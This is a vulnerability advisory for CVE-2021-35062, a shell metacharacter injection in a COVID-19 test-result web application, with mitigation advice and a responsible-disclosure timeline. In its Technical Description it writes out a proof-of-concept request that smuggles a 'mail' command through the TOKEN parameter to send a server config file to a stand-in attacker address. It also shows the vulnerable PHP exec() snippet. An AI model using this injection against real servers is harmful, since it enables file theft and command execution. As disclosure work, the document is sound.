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CVE-2021-35062.md

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+# CVE-2021-35062
+
+## Vulnerability information
+A **Shell Metacharacter Injection** vulnerability in result.php in DRK Odenwaldkreis Testerfassung March-2021 allow an attacker with a valid token of a COVID-19 test 
+result to execute shell commands with the permissions of the web server
+
+## Vulnerability description
+Shell Metacharcters (“;”, “&&”, “||”, and so on) can be injected when an attacker has a valid Covid-19 Test result. The code can be for example the Unix mail command, 
+which can be used to send files on the web server to the attackers email address. The vulnerability have been demonstrated and have been confirmed by the developers 
+in code version March-2021. DRK Odenwaldkreis and developers were contacted, vulnerability was reported, confirmed and fixed in latest software release.
+
+## Mitigation
+Mitigation can be accomplished by filtering input with PHP function **escapeshellarg()** and **escapeshellcmd()**
+
+## Technical Description
+Injection of UNIX mail command to demonstrate the ability to send a mail containing a file to the attackers email.
+    
+    result.php?TOKEN=1234567890;mail attacker@example.com < /path/to/file/config.cfg
+
+The **$_POST** and **$_GET** variables passed from HTML forms should be passed to an **input 
+filtering** function which checks for allowed characters, cast the type of the variable (integer, float, 
+string) and use **escapeshellarg()** and **escapeshellcmd()**
+
+    /**
+     * Input from $_POST (or $_GET) is not filtered.
+     *
+     * Mitigation: Input filtering, Allow list, deny of manipulated input,
+     * PHP escape function escapeshellarg() and escapeshellcmd().
+     *
+     * PHP exec() function can execute:
+     * job.py 1234567890;mail attacker@example.com < /path/to/file/config.cfg
+     */
+    $job="python3 job.py $token";
+    exec($job,$script_output);
+
+## Disclosure timeline
+
+* 2021-05-31 Contacted DRK Odenwaldkreis by phone to report Multiple Cross Site Scripting vulnerabilities
+* 2021-05-31 Contacted by developers by phone, send report and analysis to developers
+* 2021-06-02 Reviewed parts of source code and performed tests like directory listing, added additional findings and informed developers
+* 2021-06-06 Reported Shell Metacharacter Injection vulnerability and send proof of concept
+* 2021-06-11 Asked Hessen Cyber Competence Center for consultation for responsible disclosure process
+* 2021-06-12 Explained in detail proof of concept of Shell Metacharacter Injection. Attacker requires a valid test token, possible to execute code
+* 2021-06-18 Tested again for XSS in web applications form fields, XSS still present. Contacted developers and informed that XSS vulnerability is not fixed
+* 2021-06-18 Requested to reserve two CVE at mitre.org. CVE-2021-35061 and CVE-2021-35062 were reserved
+* 2021-08-30 Publication of CVE after 90 days (similar to Google Project Zero disclosure timeline)